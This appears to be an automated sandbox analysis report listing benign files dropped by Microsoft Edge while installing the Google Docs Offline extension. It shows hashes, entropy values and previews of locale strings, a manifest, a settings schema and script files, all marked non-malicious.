MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
